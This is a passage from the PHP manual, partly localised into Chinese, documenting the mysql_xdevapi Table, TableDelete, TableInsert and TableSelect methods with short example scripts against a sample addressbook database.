参数

此函数没有参数。

返回值

The total number of rows in the table.

示例

Example #1 mysql_xdevapi\Table::count() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

var_dump($table->count());
?>

以上示例会输出：

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Delete rows from table

  • ? Table::count
  • Table::existsInDatabase ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Delete rows from table

Table::delete

(No version information available, might only be in Git)

Table::delete — Delete rows from table

说明

public mysql_xdevapi\Table::delete(): mysql_xdevapi\TableDelete

Deletes rows from a table.

参数

此函数没有参数。

返回值

A TableDelete object; use the execute() method to execute the delete query.

示例

Example #1 mysql_xdevapi\Table::delete() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()->where("name = :name")->orderby("age DESC")->limit(1)->bind(['name' => 'John'])->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Check if table exists in database

  • ? Table::delete
  • Table::getName ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Check if table exists in database

Table::existsInDatabase

(No version information available, might only be in Git)

Table::existsInDatabase — Check if table exists in database

说明

public mysql_xdevapi\Table::existsInDatabase(): bool

Verifies if this table exists in the database.

参数

此函数没有参数。

返回值

Returns true if table exists in the database, else false if it does not.

示例

Example #1 mysql_xdevapi\Table::existsInDatabase() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

if ($table->existsInDatabase()) {
echo "Yes, this table still exists in the session's schema.";
}
?>

以上示例的输出类似于：

Yes, this table still exists in the session's schema.

User Contributed Notes

There are no user contributed notes for this page.


Get table name

  • ? Table::existsInDatabase
  • Table::getSchema ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Get table name

Table::getName

(No version information available, might only be in Git)

Table::getName — Get table name

说明

public mysql_xdevapi\Table::getName(): string

Returns the name of this database object.

参数

此函数没有参数。

返回值

The name of this database object.

示例

Example #1 mysql_xdevapi\Table::getName() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

var_dump($table->getName());
?>

以上示例的输出类似于：

string(5) "names"

User Contributed Notes

There are no user contributed notes for this page.


Get table schema

  • ? Table::getName
  • Table::getSession ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Get table schema

Table::getSchema

(No version information available, might only be in Git)

Table::getSchema — Get table schema

说明

public mysql_xdevapi\Table::getSchema(): mysql_xdevapi\Schema

Fetch the schema associated with the table.

参数

此函数没有参数。

返回值

A Schema object.

示例

Example #1 mysql_xdevapi\Table::getSchema() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

var_dump($table->getSchema());
?>

以上示例的输出类似于：

object(mysql_xdevapi\Schema)#9 (1) {
  ["name"]=>
  string(11) "addressbook"
}

User Contributed Notes

There are no user contributed notes for this page.


Get table session

  • ? Table::getSchema
  • Table::insert ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Get table session

Table::getSession

(No version information available, might only be in Git)

Table::getSession — Get table session

说明

public mysql_xdevapi\Table::getSession(): mysql_xdevapi\Session

Get session associated with the table.

参数

此函数没有参数。

返回值

A Session object.

示例

Example #1 mysql_xdevapi\Table::getSession() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

var_dump($table->getSession());
?>

以上示例的输出类似于：

object(mysql_xdevapi\Session)#9 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Insert table rows

  • ? Table::getSession
  • Table::isView ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Insert table rows

Table::insert

(No version information available, might only be in Git)

Table::insert — Insert table rows

说明

public mysql_xdevapi\Table::insert(mixed $columns, mixed ...$more_columns): mysql_xdevapi\TableInsert

Inserts rows into a table.

参数

columns

The columns to insert data into. Can be an array with one or more values, or a string.

more_columns

Additional columns definitions.

返回值

A TableInsert object; use the execute() method to execute the insert statement.

示例

Example #1 mysql_xdevapi\Table::insert() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table ->insert("name", "age")
->values(["Suzanne", 31],["Julie", 43])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Check if table is view

  • ? Table::insert
  • Table::select ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Check if table is view

Table::isView

(No version information available, might only be in Git)

Table::isView — Check if table is view

说明

public mysql_xdevapi\Table::isView(): bool

Determine if the underlying object is a view or not.

参数

此函数没有参数。

返回值

true if the underlying object is a view, otherwise false.

示例

Example #1 mysql_xdevapi\Table::isView() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

if ($table->isView()) {
echo "This is a view.";
} else {
echo "This is not a view.";
}
?>

以上示例会输出：

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Select rows from table

  • ? Table::isView
  • Table::update ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Select rows from table

Table::select

(No version information available, might only be in Git)

Table::select — Select rows from table

说明

public mysql_xdevapi\Table::select(mixed $columns, mixed ...$more_columns): mysql_xdevapi\TableSelect

Fetches data from a table.

参数

columns

The columns to select data from. Can be an array with one or more values, or a string.

more_columns

Additional columns parameter definitions.

返回值

A TableSelect object; use the execute() method to execute the select and return a RowResult object.

示例

Example #1 mysql_xdevapi\Table::count() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$row = $table->select('name', 'age')->execute()->fetchAll();

print_r($row);

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Update rows in table

  • ? Table::select
  • mysql_xdevapi\TableDelete ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Update rows in table

Table::update

(No version information available, might only be in Git)

Table::update — Update rows in table

说明

public mysql_xdevapi\Table::update(): mysql_xdevapi\TableUpdate

Updates columns in a table.

参数

此函数没有参数。

返回值

A TableUpdate object; use the execute() method to execute the update statement.

示例

Example #1 mysql_xdevapi\Table::update() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->update()->set('age',34)->where('name = "Sam"')->limit(1)->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


TableDelete class

(PECL mysql-xdevapi >= 8.0.11)

简介

A statement for delete operations on Table.

类摘要

class mysql_xdevapi\TableDelete implements mysql_xdevapi\Executable {
/* 方法 */
public bind(array $placeholder_values): mysql_xdevapi\TableDelete
public execute(): mysql_xdevapi\Result
public limit(int $rows): mysql_xdevapi\TableDelete
public orderby(string $orderby_expr): mysql_xdevapi\TableDelete
public where(string $where_expr): mysql_xdevapi\TableDelete
}

Table of Contents

  • TableDelete::bind — Bind delete query parameters
  • TableDelete::__construct — TableDelete constructor
  • TableDelete::execute — Execute delete query
  • TableDelete::limit — Limit deleted rows
  • TableDelete::orderby — Set delete sort criteria
  • TableDelete::where — Set delete search condition

User Contributed Notes

There are no user contributed notes for this page.


Bind delete query parameters

  • ? mysql_xdevapi\TableDelete
  • TableDelete::__construct ?
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Bind delete query parameters

TableDelete::bind

(No version information available, might only be in Git)

TableDelete::bind — Bind delete query parameters

说明

public mysql_xdevapi\TableDelete::bind(array $placeholder_values): mysql_xdevapi\TableDelete

Binds a value to a specific placeholder.

参数

placeholder_values

The name of the placeholder and the value to bind.

返回值

A TableDelete object.

示例

Example #1 mysql_xdevapi\TableDelete::bind() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("name = :name")
->bind(['name' => 'John'])
->orderby("age DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


TableDelete constructor

  • ? TableDelete::bind
  • TableDelete::execute ?
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • TableDelete constructor

TableDelete::__construct

(No version information available, might only be in Git)

TableDelete::__construct — TableDelete constructor

说明

private mysql_xdevapi\TableDelete::__construct()

Initiated by using the delete() method.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\TableDelete::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("name = :name")
->bind(['name' => 'John'])
->orderby("age DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Execute delete query

  • ? TableDelete::__construct
  • TableDelete::limit ?
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Execute delete query

TableDelete::execute

(No version information available, might only be in Git)

TableDelete::execute — Execute delete query

说明

public mysql_xdevapi\TableDelete::execute(): mysql_xdevapi\Result

Execute the delete query.

参数

此函数没有参数。

返回值

A Result object.

示例

Example #1 mysql_xdevapi\TableDelete::execute() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("name = :name")
->bind(['name' => 'John'])
->orderby("age DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Limit deleted rows

  • ? TableDelete::execute
  • TableDelete::orderby ?
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Limit deleted rows

TableDelete::limit

(No version information available, might only be in Git)

TableDelete::limit — Limit deleted rows

说明

public mysql_xdevapi\TableDelete::limit(int $rows): mysql_xdevapi\TableDelete

Sets the maximum number of records or documents to delete.

参数

rows

The maximum number of records or documents to delete.

返回值

TableDelete object.

示例

Example #1 mysql_xdevapi\TableDelete::limit() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("name = :name")
->bind(['name' => 'John'])
->orderby("age DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Set delete sort criteria

  • ? TableDelete::limit
  • TableDelete::where ?
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Set delete sort criteria

TableDelete::orderby

(No version information available, might only be in Git)

TableDelete::orderby — Set delete sort criteria

说明

public mysql_xdevapi\TableDelete::orderby(string $orderby_expr): mysql_xdevapi\TableDelete

Set the order options for a result set.

参数

orderby_expr

The sort definition.

返回值

A TableDelete object.

示例

Example #1 mysql_xdevapi\TableDelete::orderBy() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("age = :age")
->bind(['age' => 42])
->orderby("name DESC")
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Set delete search condition

  • ? TableDelete::orderby
  • mysql_xdevapi\TableInsert ?
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • Set delete search condition

TableDelete::where

(No version information available, might only be in Git)

TableDelete::where — Set delete search condition

说明

public mysql_xdevapi\TableDelete::where(string $where_expr): mysql_xdevapi\TableDelete

Sets the search condition to filter.

参数

where_expr

Define the search condition to filter documents or records.

返回值

TableDelete object.

示例

Example #1 mysql_xdevapi\TableDelete::where() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table->delete()
->where("id = :id")
->bind(['id' => 42])
->limit(1)
->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


TableInsert class

(PECL mysql-xdevapi >= 8.0.11)

简介

A statement for insert operations on Table.

类摘要

class mysql_xdevapi\TableInsert implements mysql_xdevapi\Executable {
/* 方法 */
public execute(): mysql_xdevapi\Result
public values(array $row_values): mysql_xdevapi\TableInsert
}

Table of Contents

  • TableInsert::__construct — TableInsert constructor
  • TableInsert::execute — Execute insert query
  • TableInsert::values — Add insert row values

User Contributed Notes

There are no user contributed notes for this page.


TableInsert constructor

  • ? mysql_xdevapi\TableInsert
  • TableInsert::execute ?
  • PHP Manual
  • mysql_xdevapi\TableInsert
  • TableInsert constructor

TableInsert::__construct

(No version information available, might only be in Git)

TableInsert::__construct — TableInsert constructor

说明

private mysql_xdevapi\TableInsert::__construct()

Initiated by using the insert() method.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\TableInsert::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table
->insert("name", "age")
->values(["Suzanne", 31],["Julie", 43])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Execute insert query

  • ? TableInsert::__construct
  • TableInsert::values ?
  • PHP Manual
  • mysql_xdevapi\TableInsert
  • Execute insert query

TableInsert::execute

(No version information available, might only be in Git)

TableInsert::execute — Execute insert query

说明

public mysql_xdevapi\TableInsert::execute(): mysql_xdevapi\Result

Execute the statement.

参数

此函数没有参数。

返回值

A Result object.

示例

Example #1 mysql_xdevapi\TableInsert::execute() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table
->insert("name", "age")
->values(["Suzanne", 31],["Julie", 43])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Add insert row values

  • ? TableInsert::execute
  • mysql_xdevapi\TableSelect ?
  • PHP Manual
  • mysql_xdevapi\TableInsert
  • Add insert row values

TableInsert::values

(No version information available, might only be in Git)

TableInsert::values — Add insert row values

说明

public mysql_xdevapi\TableInsert::values(array $row_values): mysql_xdevapi\TableInsert

Set the values to be inserted.

参数

row_values

Values (an array) of columns to insert.

返回值

A TableInsert object.

示例

Example #1 mysql_xdevapi\TableInsert::values() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$table
->insert("name", "age")
->values(["Suzanne", 31],["Julie", 43])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


TableSelect class

(PECL mysql-xdevapi >= 8.0.11)

简介

A statement for record retrieval operations on a Table.

类摘要

class mysql_xdevapi\TableSelect implements mysql_xdevapi\Executable {
/* 方法 */
public bind(array $placeholder_values): mysql_xdevapi\TableSelect
public execute(): mysql_xdevapi\RowResult
public groupBy(mixed $sort_expr): mysql_xdevapi\TableSelect
public having(string $sort_expr): mysql_xdevapi\TableSelect
public limit(int $rows): mysql_xdevapi\TableSelect
public lockExclusive(int $lock_waiting_option = ?): mysql_xdevapi\TableSelect
public lockShared(int $lock_waiting_option = ?): mysql_xdevapi\TableSelect
public offset(int $position): mysql_xdevapi\TableSelect
public orderby(mixed $sort_expr, mixed ...$sort_exprs): mysql_xdevapi\TableSelect
public where(string $where_expr): mysql_xdevapi\TableSelect
}

Table of Contents

  • TableSelect::bind — Bind select query parameters
  • TableSelect::__construct — TableSelect constructor
  • TableSelect::execute — Execute select statement
  • TableSelect::groupBy — Set select grouping criteria
  • TableSelect::having — Set select having condition
  • TableSelect::limit — Limit selected rows
  • TableSelect::lockExclusive — Execute EXCLUSIVE LOCK
  • TableSelect::lockShared — Execute SHARED LOCK
  • TableSelect::offset — Set limit offset
  • TableSelect::orderby — Set select sort criteria
  • TableSelect::where — Set select search condition

User Contributed Notes

There are no user contributed notes for this page.


Bind select query parameters

  • ? mysql_xdevapi\TableSelect
  • TableSelect::__construct ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Bind select query parameters

TableSelect::bind

(No version information available, might only be in Git)

TableSelect::bind — Bind select query parameters

说明

public mysql_xdevapi\TableSelect::bind(array $placeholder_values): mysql_xdevapi\TableSelect

Binds a value to a specific placeholder.

参数

placeholder_values

The name of the placeholder, and the value to bind.

返回值

A TableSelect object.

示例

Example #1 mysql_xdevapi\TableSelect::bind() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name','age')
->where('name like :name and age > :age')
->bind(['name' => 'John', 'age' => 42])
->execute();

$row = $result->fetchAll();
print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


TableSelect constructor

  • ? TableSelect::bind
  • TableSelect::execute ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • TableSelect constructor

TableSelect::__construct

(No version information available, might only be in Git)

TableSelect::__construct — TableSelect constructor

说明

private mysql_xdevapi\TableSelect::__construct()

An object returned by the select() method; use execute() to execute the query.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\TableSelect::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name','age')
->where('name like :name and age > :age')
->bind(['name' => 'John', 'age' => 42])
->orderBy('age desc')
->execute();

$row = $result->fetchAll();
print_r($row);

?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Execute select statement

  • ? TableSelect::__construct
  • TableSelect::groupBy ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Execute select statement

TableSelect::execute

(No version information available, might only be in Git)

TableSelect::execute — Execute select statement

说明

public mysql_xdevapi\TableSelect::execute(): mysql_xdevapi\RowResult

Execute the select statement by chaining it with the execute() method.

参数

此函数没有参数。

返回值

A RowResult object.

示例

Example #1 mysql_xdevapi\TableSelect::execute() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name','age')
->where('name like :name and age > :age')
->bind(['name' => 'John', 'age' => 42])
->orderBy('age desc')
->execute();

$row = $result->fetchAll();
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Set select grouping criteria

  • ? TableSelect::execute
  • TableSelect::having ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Set select grouping criteria

TableSelect::groupBy

(No version information available, might only be in Git)

TableSelect::groupBy — Set select grouping criteria

说明

public mysql_xdevapi\TableSelect::groupBy(mixed $sort_expr): mysql_xdevapi\TableSelect

Sets a grouping criteria for the result set.

参数

sort_expr

The grouping criteria.

返回值

A TableSelect object.

示例

Example #1 mysql_xdevapi\TableSelect::groupBy() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 42)")->execute();
$session->sql("INSERT INTO addressbook.names values ('Suki', 31)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('count(*) as count', 'age')
->groupBy('age')->orderBy('age asc')
->execute();

$row = $result->fetchAll();
print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [count] => 1
            [age] => 31
        )
    [1] => Array
        (
            [count] => 2
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Set select having condition

  • ? TableSelect::groupBy
  • TableSelect::limit ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Set select having condition

TableSelect::having

(No version information available, might only be in Git)

TableSelect::having — Set select having condition

说明

public mysql_xdevapi\TableSelect::having(string $sort_expr): mysql_xdevapi\TableSelect

Sets a condition for records to consider in aggregate function operations.

参数

sort_expr

A condition on the aggregate functions used on the grouping criteria.

返回值

A TableSelect object.

示例

Example #1 mysql_xdevapi\TableSelect::having() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 42)")->execute();
$session->sql("INSERT INTO addressbook.names values ('Suki', 31)")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('count(*) as count', 'age')
->groupBy('age')->orderBy('age asc')
->having('count > 1')
->execute();

$row = $result->fetchAll();
print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [count] => 2
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Limit selected rows

  • ? TableSelect::having
  • TableSelect::lockExclusive ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Limit selected rows

TableSelect::limit

(No version information available, might only be in Git)

TableSelect::limit — Limit selected rows

说明

public mysql_xdevapi\TableSelect::limit(int $rows): mysql_xdevapi\TableSelect

Sets the maximum number of records or documents to return.

参数

rows

The maximum number of records or documents.

返回值

A TableSelect object.

示例

Example #1 mysql_xdevapi\TableSelect::limit() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->select('name', 'age')
->limit(1)
->execute();

$row = $result->fetchAll();
print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Execute EXCLUSIVE LOCK

  • ? TableSelect::limit
  • TableSelect::lockShared ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Execute EXCLUSIVE LOCK

TableSelect::lockExclusive

(No version information available, might only be in Git)

TableSelect::lockExclusive — Execute EXCLUSIVE LOCK

说明

public mysql_xdevapi\TableSelect::lockExclusive(int $lock_waiting_option = ?): mysql_xdevapi\TableSelect

Execute a read operation with EXCLUSIVE LOCK. Only one lock can be active at a time.

参数

lock_waiting_option

The optional waiting option that defaults to MYSQLX_LOCK_DEFAULT. Valid values are:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

返回值

TableSelect object.

示例

Example #1 mysql_xdevapi\TableSelect::lockExclusive() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$session->startTransaction();

$result = $table->select('name', 'age')
->lockExclusive(MYSQLX_LOCK_NOWAIT)
->execute();

$session->commit();

$row = $result->fetchAll();
print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Execute SHARED LOCK

  • ? TableSelect::lockExclusive
  • TableSelect::offset ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Execute SHARED LOCK

TableSelect::lockShared

(No version information available, might only be in Git)

TableSelect::lockShared — Execute SHARED LOCK

说明

public mysql_xdevapi\TableSelect::lockShared(int $lock_waiting_option = ?): mysql_xdevapi\TableSelect

Execute a read operation with SHARED LOCK. Only one lock can be active at a time.

参数

lock_waiting_option

The optional waiting option that defaults to MYSQLX_LOCK_DEFAULT. Valid values are:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

返回值

A TableSelect object.

示例

Example #1 mysql_xdevapi\TableSelect::lockShared() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$session->startTransaction();

$result = $table->select('name', 'age')
->lockShared(MYSQLX_LOCK_NOWAIT)
->execute();

$session->commit();

$row = $result->fetchAll();
print_r($row);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Set limit offset

  • ? TableSelect::lockShared
  • TableSelect::orderby ?
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • Set limit offset

TableSelect::offset

(No version information available, might only be in Git)

TableSelect::offset — Set limit offset

说明

public mysql_xdevapi\TableSelect::offset(int $position): mysql_xdevapi\TableSelect

Skip given number of rows in result.

参数

position

The limit offset.

返回值

A TableSelect object.

示例

Example #1 mysql_xdevapi\TableSelect::offset() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
